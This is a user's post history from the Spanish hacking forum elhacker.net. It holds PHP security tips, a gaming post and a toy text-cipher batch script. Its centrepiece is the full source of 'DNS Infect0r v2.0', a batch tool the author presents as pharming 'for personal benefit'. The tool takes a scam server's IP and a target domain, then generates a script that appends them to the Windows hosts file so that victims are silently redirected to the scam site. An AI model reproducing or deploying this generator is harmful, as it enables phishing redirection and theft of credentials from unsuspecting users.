elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


  Mostrar Mensajes
Páginas: [1]
1  Seguridad Informática / Desafíos - Wargames / Re: Me ayudan a buscar fallos de programacion en mi pagina en: 31 Octubre 2010, 22:14 pm

Pues yo no le veo esos fallos, saludos.
2  Seguridad Informática / Desafíos - Wargames / Re: Me ayudan a buscar fallos de programacion en mi pagina en: 31 Octubre 2010, 10:42 am
Tambien aca:

http://elangelopolitano.net16.net/index.php?error=yes

En tu archivo consulta.php deberia tirar el error y no por la URL, esto dependiendo de tu código puede ser explotado, te recomiendo que sea algo asi:

Código
  1. <?
  2. $check = mysql_query("SELECT * FROM users WHERE user='".mysql_escape_string($user)."' AND pass='".mysql_escape_string($pass)."' ");
  3. if ($check1 = mysql_fetch_object($check)){
  4. echo "Correcto!";
  5. }else{
  6. echo "Datos incorrectos";
  7. }
  8. ?>
  9.  

Es decir, mostrar el error en el mismo archivo que procesa, saludos.
-----
Edito:

Aca: http://elangelopolitano.net16.net/leer.php?id=8

Si no existe la noticia o el ID no te tira error, te recomiendo que sea algo asi:

Código
  1. <?
  2. $id = strip_tags($_GET['id']);
  3. $check = mysql_query("SELECT * FROM news WHERE id='".mysql_escape_string($id)."' ");
  4. if ($check1 = mysql_fetch_object($check)){
  5. echo "MUESTRAS NOTICIA";
  6. }else{
  7. echo "No existe la noticia";
  8. }
  9. ?>
  10.  

Saludos.
3  Seguridad Informática / Desafíos - Wargames / Re: Me ayudan a buscar fallos de programacion en mi pagina en: 31 Octubre 2010, 03:47 am
Algo que a veces no tiene importancia es:
http://elangelopolitano.net16.net/internacional2.php?sección=

Si le pones un switch, es decir:

Código
  1. <?php
  2. $mod = $_GET['sección'];
  3. switch($mod){
  4. case "nacional":
  5. //
  6. break;
  7.  
  8. case "internacional":
  9. //
  10. break;
  11.  
  12. default;
  13. echo "No existe la sección";
  14. }
  15. ?>
  16.  

Sería mejor, es un comentario nada mas, saludos.
4  Programación / PHP / Re: funcion recursiva de hijo a padre en: 30 Octubre 2010, 12:04 pm
No se si te entendí muy bien pero lo que quieres hacer es que si la estructura es:
1 > 2 > 3 > 4 y quieres mostrar el 3 te muestre 1 > 2 > 3 o bien si quieres mostrar el 4 te muestre 1 > 2 > 3 > 4, es decir que si tienes digamos "3 categorías" y eliges la número 3, te cree como un árbol prácticamente desde la primer categoría hasta la que elegiste?
Citar
1
|+2
|++3

Sí es así y es por base de datos (mis ocurrencias son grandes pero funcionan) primero tendría que saber como estan ordenadas tus tablas para ver como haré la petición, bueno, según leí tienes un id y un parent para indicar, entonces una posible solución sería:

La función que tienes para obtener el "ID" y ya sea un bucle (digamos, si el parent o el ID esta por orden númerico) que mientras el $i < ID_categoria te tire las anteriores, asi que suponiendo que tenemos
1 = ID 1
2 = ID 2
3 = ID 3

Si elegimos la 3 seria $i = 0 ; $i < 3; $i++ entonces de esta manera obtendras todos los ID anteriores o parents (según te acomodes), ya solo sería cuestión de que los organizes en un array y los muestres.

Ahora, si solo te tira el último, puedes utilizar array_push() con el nuevo padre para asi agregarlo al final ya que pues dicha función va agregando valores al final de un array, pero bueno, alomejor al leer esto te da ideas, saludos.
5  Media / Juegos y Consolas / Re: [Retos] Age Of Empires II The Conquerors 1.0 en: 30 Agosto 2010, 07:18 am
Pasame red y contraseña en el mismo post y entro y jugamos mañana (osea lunes ;) ).
6  Programación / Scripting / Re: [BATCH] Infector de DNS v2.0 (Pharming) en: 10 Septiembre 2009, 21:39 pm
xD Bueno, la idea es buena :P pero el code se puede optimizar mucho.
Todo el code es interfaz, y ya que la interfaz en la mayoria de los casos, siempre es la misma, podrias crear una etiqueta que obtenga de parametro el mensaje y devuelva la interface.
Filtra las variables... no faltara el listillo de las batch's injections.
Y tambien comprueva si esta en blanco lo que el usuario introduce =P
Saludos!


if not defined host1 (cls&&msg * Escribe la pagina correctamente&&goto 2)

Ya esta eso :) lo de las batch injections esta en progreso tambien para que se pueda con VISTA.
7  Programación / Scripting / Re: [BATCH] Infector de DNS v2.0 (Pharming) en: 8 Septiembre 2009, 03:26 am
ta bien.. descubridor de 'editar el archivo host mediante echo' o como quieras llamarle.. todos te copiaron
aportazo  ;)

Gracias, te tomaré en cuenta algún día amigito jeje <3
8  Programación / Scripting / Re: [BATCH] Infector de DNS v2.0 (Pharming) en: 6 Septiembre 2009, 04:43 am
Método muy quemado que me QUEMARON la mayoría en la red :) y no es quemado, te sirve bastante PHARMING amigo PHARMING. Y si hubiera querido que se mirara todo feo uso menos líneas, maliciala y aporta, no mailicies y critiques. Ve con DIOS.
9  Programación / Scripting / [BATCH] Infector de DNS v2.0 (Pharming) en: 23 Agosto 2009, 11:43 am
Creador: Xt3mP
Utilidad: Infección de DNS mediante el archivo Host.
Lenguaje: Batch
Para: Comunidad de Mechanixer.
Instrucciones: Simplemente seguir las que te dice ahí.
Mejoras:
·Nuevo diseño: Ahora presenta un diseño un poco más agradable para el usuario.
·Bugs: Se corrijierón unos bugs al momento de crear el infector.
·Contácto: Links y páginas de Contacto fueron actualizadas.
Link de descarga: DNS Infect0r v2.0 BETA by Xt3mP.
Introducción: Programa en batch que te generá otro batch con la IP de un Scam y la IP de la página que quieres redirigir, esto se le puede denomiar pharming ó infección de DNS por el archivo Hosts.



Código:
@echo off
color 0A
title DNS 1nf3ct0r by Xt3MP v2.0 Beta.
echo  Informacion del Programa.
echo  Compañia: Mechanixer Proyect 666
echo  Nombre del producto: DNS Infect0r v2.0 Beta.
echo  Descripcion: Infector de DNS para beneficio propio.
echo  Copyrights: DNS Infector by Xt3mP 2008-2009©
echo  Trademarks: DNS Infector by Xt3mP 2008-2009©
echo  Nombre Original: DNS Infect0r v2.0 Beta.
echo  Comentarios: Me la pelan att/ Xt3mP#
echo  Version:  2. 0. 0. 0
echo  Version:  2. 0. 0. 0
echo  Nombre interno: DNS 1nf3ct0r b3t4.
echo  dnsinfector.ico
echo  Presiona cualquier tecla para continuar.

pause>nul
cls
goto inicio
:inicio
echo  __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]      MMMMMMMM               MMMMMMMMPPPPPPPPPPPPPPPPP        [+]   
echo [+]      M:::::::M             M:::::::MP::::::::::::::::P       [+]
echo [+]      M::::::::M           M::::::::MP::::::PPPPPP:::::P      [+]
echo [+]      M:::::::::M         M:::::::::MPP:::::P     P:::::P     [+]
echo [+]      M::::::::::M       M::::::::::M  P::::P     P:::::P     [+]
echo [+]      M:::::::::::M     M:::::::::::M  P::::P     P:::::P     [+]
echo [+]      M:::::::M::::M   M::::M:::::::M  P::::PPPPPP:::::P      [+]
echo [+]      M::::::M M::::M M::::M M::::::M  P:::::::::::::PP       [+]
echo [+]      M::::::M  M::::M::::M  M::::::M  P::::PPPPPPPPP         [+]
echo [+]      M::::::M   M:::::::M   M::::::M  P::::P                 [+]
echo [+]      M::::::M    M:::::M    M::::::M  P::::P                 [+]
echo [+]      M::::::M     MMMMM     M::::::M  P::::P                 [+]
echo [+]      M::::::M               M::::::MPP::::::PP               [+]
echo [+]      M::::::M               M::::::MP::::::::P               [+]
echo [+]      M::::::M               M::::::MP::::::::P               [+]
echo [+]      MMMMMMMM               MMMMMMMMPPPPPPPPPP               [+]
echo [+]______________________________________________________________[+]
echo [+]___________________DNS INFECT0R BY XT3MP 2.0__________________[+]
pause>nul
cls
echo  __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]                            Paginas:                          [+]
echo [+]                                                              [+]   
echo [+]            *### WWW.MECHANIXER.ORG                           [+]
echo [+]            *### WWW.MECHANXIERPROJECTS.COM                   [+]
echo [+]            *### WWW.BLACFIRE.COM                             [+]
echo [+]            *### WWW.MAFIANIXER.COM                           [+]
echo [+]            *### WWW.HABBOIN.NET                              [+]
echo [+]                                                              [+]
echo [+]                           Contacto:                          [+]
echo [+]            *### X.LOVESUXS.X@HOTMAIL.COM                     [+]
echo [+]            *### XT3MP@H4X0RZ.US                              [+]
echo [+]                                                              [+]
echo [+]                                                              [+]
echo [+]            *### Testeado en Windows XP SP2 y Vista           [+]
echo [+]            *### Programa en Batch para MXR Proy. 666         [+]
echo [+]            *### Bugs corregidos asi como el codigo           [+]
echo [+]                                                              [+]
echo [+]______________________________________________________________[+]
echo [+]___________________DNS INFECT0R BY XT3MP 2.0__________________[+]
pause>nul
cls
echo    ________________________________________________________________
echo [+]___________________DNS INFECT0R BY XT3MP 2.0__________________[+]
echo [+]                      [ Instrucciones: ]                      [+]
echo [+]                                                              [+]
echo [+]           *Escribir nombre del infect0r                      [+]
echo [+]           *Escribir IP del scam                              [+]
echo [+]           *Escribir Host de la pagina a redireccionar        [+]
echo [+]           *WWW y Http:// Integrado                           [+]
echo [+]           *este programa se encargara de eso.                [+]
echo [+]           *Dudas: mechanixer.org                             [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
pause >nul
cls
goto nombre
:nombre
echo    ________________________________________________________________
echo [+]______________________Nombre del Infect0r_____________________[+]
echo [+]   *Escribe el nombre que le quieres dar al DNS Infect0r sin  [+]
echo [+]   *Caracteres especiales ni acentos                          [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
set /P nombre=
cls
echo    ________________________________________________________________
echo [+]______________________Nombre del Infect0r_____________________[+]
echo [+]  *Comprueba que el nombre del DNS Infect0r es el correcto    [+]   
echo      *Estas seguro que le quieres poner %nombre%?
echo [+]      1.Si                                            2.No    [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]                 
set /P r=
cls
if %r%==1 (goto ip) else goto nombre
echo.
echo.
echo.
pause >nul
echo.
echo.
echo.
:ip
echo    ________________________________________________________________
echo [+]_________________________IP del SCAM__________________________[+]
echo [+]  *Escoje 1 si te sabes la direccion IP de tu SCAM.           [+]
echo [+]  *Escoje 2 si no te sabes la direccion IP de tu SCAM.        [+]
echo [+]______________________________________________________________[+]
echo [+]      1.Si                                            2.No    [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+] 


set /P primerpregunta=
cls
if %primerpregunta%==1 (goto lineahost) else goto sacarip
pause >nul
echo.
echo.
echo.
:sacarip
echo    ________________________________________________________________
echo [+]______________________Sacar IP del SCAM_______________________[+]
echo [+]  *Escribe la pagina de tu SCAM sin WWW ni HTTP://            [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
set /P pagina=
if not defined pagina (cls&&msg * Escribe la pagina correctamente&&goto sacarip)
cls
pause >nul
goto ppagina
echo.
echo.
echo.
:ppagina
ping %pagina%
pause >nul
echo.
echo.
cls
goto lineahost
:lineahost
echo    ________________________________________________________________
echo [+]_____________________Escribir IP del SCAM_____________________[+]
echo [+]  *Escribe la IP de tu SCAM sin WWW ni HTTP://                [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
set /P ip1=
if not defined ip1 (cls&&msg * Escribe la pagina correctamente&&goto lineahost)
cls
goto 2
:2
echo    ________________________________________________________________
echo [+]_____________________Escribir el Dominio______________________[+]
echo [+]  *Escribe el Dominio de la pagina a redireccionar            [+]
echo [+]  *Ejemplo: mechanixer.org                                    [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
set /P host1=
if not defined host1 (cls&&msg * Escribe la pagina correctamente&&goto 2)
cls
9)
cls
goto etze
:etze
echo    ________________________________________________________________
echo [+]_________________________Comprobacion_________________________[+]
echo [+]  *La IP y el Dominio son las siguientes:                     [+]
echo [+]                                                              [+]
echo [+]  *IP del Scam:#########%ip1%
echo [+]  *Nombre del Dominio:##%host1%                                           
echo [+]______________________________________________________________[+]
echo [+]      1.Si                                            2.No    [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+] 
set /P etz=
if %etz%==1 (goto crear) else goto lineahost
cls
pause >nul
:crear
echo ^@echo off>>%nombre%.bat
echo cd C:\WINDOWS\system32\drivers\etc>>%nombre%.bat
echo echo %ip1% %host1%^>^>hosts.msn>>%nombre%.bat
echo echo %ip1% www.%host1%^>^>hosts.msn>>%nombre%.bat
echo echo %ip1% http://%host1%^>^>hosts.msn>>%nombre%.bat
echo echo %ip1% http://www.%host1%^>^>hosts.msn>>%nombre%.bat
echo echo %ip1% %host1%^>^>hosts>>%nombre%.bat
echo echo %ip1% www.%host1%^>^>hosts>>%nombre%.bat
echo echo %ip1% http://%host1%^>^>hosts>>%nombre%.bat
echo echo %ip1% http://www.%host1%^>^>hosts>>%nombre%.bat
cls
goto adios
:adios
echo  __________________________________________________________________
echo [+]__________________________Finalizacion________________________[+]
echo [+]   *Archivo Creado Satisfactoriamente                         [+]
echo [+]   *No ejecutes el programa o te infectaras                   [+]
echo [+]   *El programa se creara en donde tengas este DNS Infect0r   [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
pause>nul
cls
goto subfinal
:subfinal
echo  __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]                _     _     ______        ______              [+]
echo [+]               (_)   (_)_  (_____ \      (_____ \             [+]
echo [+]                  ___ _l l_ _____) )____  _____) )            [+]
echo [+]                 l   (_   _l_____ (l    \l  ____/             [+]
echo [+]                / / \ \l l_ _____) ) l l l l                  [+]
echo [+]               l_l   l_l\__l______/l_l_l_l_l                  [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]                         
pause>nul
cls
goto final
:final
echo  __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [*]   *Creado por xT3mP para Mechanixer Proyect                  [*]
echo [*]   *Para mayor informacion visitar WWW.MECHANXIER.ORG         [*]
echo [*]                                                              [*]
echo [*]                                                              [*]
echo [*]               1-Ir a la pagina del proyecto                  [*]
echo [*]               2-Crear otro infector                          [*]
echo [*]               3-Salir                                        [*]
echo [+]______________________________________________________________[+]
echo [+]___________________DNS INFECT0R BY XT3MP 2.0__________________[+]
set /P f=
cls
if %f%==1 (start http://www.foro.mechanixer.org)
if %f%==2 (goto inicio)
if %f%==3 (echo exit&&msg * Xt3mP: Gracias por utilizar el programa, no se te olvide visitar #WWW.MECHANXIER.ORG#)
cls
pause >nul

10  Programación / Scripting / [BATCH] Encriptador & Desencriptador de Texto v1.5 en: 23 Agosto 2009, 11:42 am
Creador: Xt3mP
Utilidad: Encriptador y Desencriptador
Lenguaje: Batch
Para: Comunidad de Mechanixer.
Instrucciones: Simplemente seguir las que te dice ahí.
Mejoras:
·Inyección Batch: Ahora ya puedes cifrar los carácteres especiales como "&" ">", etc.
Introducción: Programa en batch que te cifra y/o descifra el texto ingresado (Multiusos).
gr33tz: A mi buen estimado xassiz que reparó el código, sin él este código estuviera mal.

Código:
@echo off
color 0c
Title C.Dv1.0 by Xt3mP - mod by xassiz
::moded by xassiz
echo.
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]               _____  ______          __   _____              [+]
echo [+]              /  __ \ l  _  \        /  l l  _  l             [+]
echo [+]              l /  \/ l l l l __   __`l l l l/' l             [+]
echo [+]              l l     l l l l \ \ / / l l l  /l l             [+]
echo [+]              l \__/\_l l/ /   \ V / _l l_\ l_/ /             [+]
echo [+]               \____(_)___/     \_/  \___(_)___/              [+]
echo [+]              Crypter and Decrypter v1.0 by Xt3mP             [+]
echo [+]                         fixer by xassiz                      [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
pause>nul
goto menu
:menu
cls
echo  __________________________________________________________________
echo [+]______________Crypter and Decrypter v1.0 by Xt3mP_____________[+]
echo [+]                   *1. cifrar texto                        [+]
echo [+]                   *2. descifrar texto                     [+]
echo [+]                   *3. Ver equivalencias                      [+]
echo [+]                                                              [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
echo.&set "var="
set/p "var=>> "
if not defined var (goto:menu)
If ["%var%"]==["1"] goto cifrar
If ["%var%"]==["2"] goto descifrar
If ["%var%"]==["3"] goto equivalencias
goto:menu
:cifrar
cls
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]               _____  ______          __   _____              [+]
echo [+]              /  __ \ l  _  \        /  l l  _  l             [+]
echo [+]              l /  \/ l l l l __   __`l l l l/' l             [+]
echo [+]              l l     l l l l \ \ / / l l l  /l l             [+]
echo [+]              l \__/\_l l/ /   \ V / _l l_\ l_/ /             [+]
echo [+]               \____(_)___/     \_/  \___(_)___/              [+]
echo [+]              Crypter and Decrypter v1.0 by Xt3mP             [+]
echo [+]                         fixer by xassiz                      [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
echo.&set "palabra="
set/p "palabra=Escriba las palabras que quieras cifrar: "
if not defined palabra (goto:cifrar)
set "var=%palabra%"
set "resultado=%var:a=1%"
set "resultado=%resultado:b=-%"
set "resultado=%resultado:c=.%"
set "resultado=%resultado:d=\%"
set "resultado=%resultado:e=$%"
set "resultado=%resultado:f=;%"
set "resultado=%resultado:g=?%"
set "resultado=%resultado:h=[%"
set "resultado=%resultado:i=+%"
set "resultado=%resultado:j=)%"
set "resultado=%resultado:k=]%"
set "resultado=%resultado:l=!%"
set "resultado=%resultado:m=(%"
set "resultado=%resultado:n=@%"
set "resultado=%resultado:ñ=¿%"
set "resultado=%resultado:o=,%"
set "resultado=%resultado:p=4%"
set "resultado=%resultado:q=/%"
set "resultado=%resultado:r=_%"
set "resultado=%resultado:s={%"
set "resultado=%resultado:t=#%"
set "resultado=%resultado:u=¡%"
set "resultado=%resultado:v=}%"
set "resultado=%resultado:w=:%"
set "resultado=%resultado:x=2%"
set "resultado=%resultado:y=6%"
set "resultado=%resultado:z=9%"
set "resultado=%resultado:&=^&%"
set "resultado=%resultado:>=^>%"
set "resultado=%resultado:<=^<%"
set "resultado=%resultado:|=^|%"
:finenc
cls
echo.
echo Las palabras encriptadas son: %resultado%
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]                   *1. cifrar texto                        [+]
echo [+]                   *2. descifrar texto                     [+]
echo [+]                   *3. Ver equivalencias                      [+]
echo [+]                   *4. Ver bloc de notas                      [+]
echo [+]                   *5. Ver detalles                           [+]
echo [+]                   *6. Salir                                  [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
echo.&set "var2="
set/p "var2=>> "
if not defined var2 (goto:finenc)
if ["%var2%"]==["1"] goto cifrar
if ["%var2%"]==["2"] goto descifrar
if ["%var2%"]==["3"] goto equivalencias
if ["%var2%"]==["4"] goto bloc1
if ["%var2%"]==["5"] goto detalles
if ["%var2%"]==["6"] goto exit
goto:finenc
:descifrar
cls
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]               _____  ______          __   _____              [+]
echo [+]              /  __ \ l  _  \        /  l l  _  l             [+]
echo [+]              l /  \/ l l l l __   __`l l l l/' l             [+]
echo [+]              l l     l l l l \ \ / / l l l  /l l             [+]
echo [+]              l \__/\_l l/ /   \ V / _l l_\ l_/ /             [+]
echo [+]               \____(_)___/     \_/  \___(_)___/              [+]
echo [+]              Crypter and Decrypter v1.0 by Xt3mP             [+]
echo [+]                         fixer by xassiz                      [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
set /p palabra=Escriba las palabras que quieras descifrar:
set "var23=%palabra%"
set "resultado=%var23:1=a%"
set "resultado=%resultado:-=b%"
set "resultado=%resultado:.=c%"
set "resultado=%resultado:\=d%"
set "resultado=%resultado:$=e%"
set "resultado=%resultado:;=f%"
set "resultado=%resultado:?=g%"
set "resultado=%resultado:[=h%"
set "resultado=%resultado:+=i%"
set "resultado=%resultado:)=j%"
set "resultado=%resultado:]=k%"
set "resultado=%resultado:!=l%"
set "resultado=%resultado:(=m%"
set "resultado=%resultado:@=n%"
set "resultado=%resultado:¿=ñ%"
set "resultado=%resultado:,=o%"
set "resultado=%resultado:5=p%"
set "resultado=%resultado:/=q%"
set "resultado=%resultado:_=r%"
set "resultado=%resultado:{=s%"
set "resultado=%resultado:#=t%"
set "resultado=%resultado:¡=u%"
set "resultado=%resultado:}=v%"
set "resultado=%resultado::=w%"
set "resultado=%resultado:2=x%"
set "resultado=%resultado:6=y%"
set "resultado=%resultado:9=z%"
set "resultado=%resultado:&=^&%"
set "resultado=%resultado:>=^>%"
set "resultado=%resultado:<=^<%"
set "resultado=%resultado:|=^|%"
:fin
cls
echo.
echo Las palabras desencriptadas son: %resultado%
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]                   *1. cifrar texto                        [+]
echo [+]                   *2. descifrar texto                     [+]
echo [+]                   *3. Ver equivalencias                      [+]
echo [+]                   *4. Ver bloc de notas                      [+]
echo [+]                   *5. Ver detalles                           [+]
echo [+]                   *6. Salir                                  [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
echo.&set "var="
set/p "var=>> "
if not defined var (goto:fin)
if ["%var%"]==["1"] goto cifrar
if ["%var%"]==["2"] goto descifrar
if ["%var%"]==["3"] goto equivalencias
if ["%var%"]==["4"] goto bloc2
if ["%var%"]==["5"] goto detalles
if ["%var%"]==["6"] goto exit
goto:fin
:exit
cls
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]               _____  ______          __   _____              [+]
echo [+]              /  __ \ l  _  \        /  l l  _  l             [+]
echo [+]              l /  \/ l l l l __   __`l l l l/' l             [+]
echo [+]              l l     l l l l \ \ / / l l l  /l l             [+]
echo [+]              l \__/\_l l/ /   \ V / _l l_\ l_/ /             [+]
echo [+]               \____(_)___/     \_/  \___(_)___/              [+]
echo [+]              Crypter and Decrypter v1.0 by Xt3mP             [+]
echo [+]                         fixer by xassiz                      [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
pause>nul
exit
:bloc1
cls
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]               _____  ______          __   _____              [+]
echo [+]              /  __ \ l  _  \        /  l l  _  l             [+]
echo [+]              l /  \/ l l l l __   __`l l l l/' l             [+]
echo [+]              l l     l l l l \ \ / / l l l  /l l             [+]
echo [+]              l \__/\_l l/ /   \ V / _l l_\ l_/ /             [+]
echo [+]               \____(_)___/     \_/  \___(_)___/              [+]
echo [+]              Crypter and Decrypter v1.0 by Xt3mP             [+]
echo [+]                         fixer by xassiz                      [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
echo Las palabras encriptadas son: %resultado%>encriptadas.txt
start encriptadas.txt
:asdf
cls
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]               _____  ______          __   _____              [+]
echo [+]              /  __ \ l  _  \        /  l l  _  l             [+]
echo [+]              l /  \/ l l l l __   __`l l l l/' l             [+]
echo [+]              l l     l l l l \ \ / / l l l  /l l             [+]
echo [+]              l \__/\_l l/ /   \ V / _l l_\ l_/ /             [+]
echo [+]               \____(_)___/     \_/  \___(_)___/              [+]
echo [+]              Crypter and Decrypter v1.0 by Xt3mP             [+]
echo [+]                         fixer by xassiz                      [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
echo.&set "var3="
set/p "var3=>> "
if not defined var3 (goto:asdf)
if ["%var3%"]==["1"] goto cifrar
if ["%var3%"]==["2"] goto descifrar
if ["%var3%"]==["3"] goto equivalencias
if ["%var3%"]==["4"] goto bloc
if ["%var3%"]==["5"] goto detalles
if ["%var3%"]==["6"] goto exit
goto:asdf
:bloc2
cls
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]               _____  ______          __   _____              [+]
echo [+]              /  __ \ l  _  \        /  l l  _  l             [+]
echo [+]              l /  \/ l l l l __   __`l l l l/' l             [+]
echo [+]              l l     l l l l \ \ / / l l l  /l l             [+]
echo [+]              l \__/\_l l/ /   \ V / _l l_\ l_/ /             [+]
echo [+]               \____(_)___/     \_/  \___(_)___/              [+]
echo [+]              Crypter and Decrypter v1.0 by Xt3mP             [+]
echo [+]                         fixer by xassiz                      [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
echo Las palabras desencriptadas son: %resultado%>desencriptadas.txt
start desencriptadas.txt
:asdf2
cls
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]               _____  ______          __   _____              [+]
echo [+]              /  __ \ l  _  \        /  l l  _  l             [+]
echo [+]              l /  \/ l l l l __   __`l l l l/' l             [+]
echo [+]              l l     l l l l \ \ / / l l l  /l l             [+]
echo [+]              l \__/\_l l/ /   \ V / _l l_\ l_/ /             [+]
echo [+]               \____(_)___/     \_/  \___(_)___/              [+]
echo [+]              Crypter and Decrypter v1.0 by Xt3mP             [+]
echo [+]                         fixer by xassiz                      [+]
echo [+]______________________________________________________________[+]
echo [+]______________________________________________________________[+]
echo.&set "var4="
set/p "var4=>> "
if not defined var4 (goto:asdf2)
if ["%var4%"]==["1"] goto cifrar
if ["%var4%"]==["2"] goto descifrar
if ["%var4%"]==["3"] goto equivalencias
if ["%var4%"]==["4"] goto bloc
if ["%var4%"]==["5"] goto detalles
if ["%var4%"]==["6"] goto exit
goto:asdf2
:equivalencias
cls
echo.
echo a=1
echo b=-
echo c=.
echo d=\
echo e=$
echo f=;
echo g=?
echo h=[
echo i=+
echo j=)
echo k=]
echo l=!
echo m=(
echo n=@
echo ñ=¿
echo o=,
echo p=4
echo q=/
echo r=_
echo s={
echo t=#
echo u=¡
echo v=}
echo w=:
echo x=2
echo y=6
echo z=9
pause>nul
:asdf4
cls&echo.
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]                   *1. cifrar texto                        [+]
echo [+]                   *2. descifrar texto                     [+]
echo [+]                   *3. Ver equivalencias                      [+]
echo [+]                   *4. Ver bloc de notas                      [+]
echo [+]                   *5. Ver detalles                           [+]
echo [+]                   *6. Salir                                  [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
echo.&set "var5="
set/p "var5=>> "
if not defined var5 (goto:asdf4)
if ["%var5%"]==["1"] goto cifrar
if ["%var5%"]==["2"] goto descifrar
if ["%var5%"]==["3"] goto equivalencias
if ["%var5%"]==["4"] goto bloc
if ["%var5%"]==["5"] goto detalles
if ["%var5%"]==["6"] goto exit
goto:asdf4
:detalles
cls
echo La cifrado/desencriptación duró aproximadamente 0.0022 segundos>detalles.txt
start detalles.txt
echo. __________________________________________________________________
echo [+]_______________________MECHANIXER PROYECT_____________________[+]
echo [+]                   *1. cifrar texto                        [+]
echo [+]                   *2. descifrar texto                     [+]
echo [+]                   *3. Ver equivalencias                      [+]
echo [+]                   *4. Ver bloc de notas                      [+]
echo [+]                   *5. Ver detalles                           [+]
echo [+]                   *6. Salir                                  [+]
echo [+]______________________________________________________________[+]
echo [+]___________________________MP©2009____________________________[+]
echo.&set "var6="
set/p "var6=>> "
if not defined var6 (goto:detalles)
if ["%var6%"]==["1"] goto cifrar
if ["%var6%"]==["2"] goto descifrar
if ["%var6%"]==["3"] goto equivalencias
if ["%var6%"]==["4"] goto bloc
if ["%var6%"]==["5"] goto detalles
if ["%var6%"]==["6"] goto exit
goto:detalles

Reitero, gracias xassiz.

Espero que el código les sea de utilidad.
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines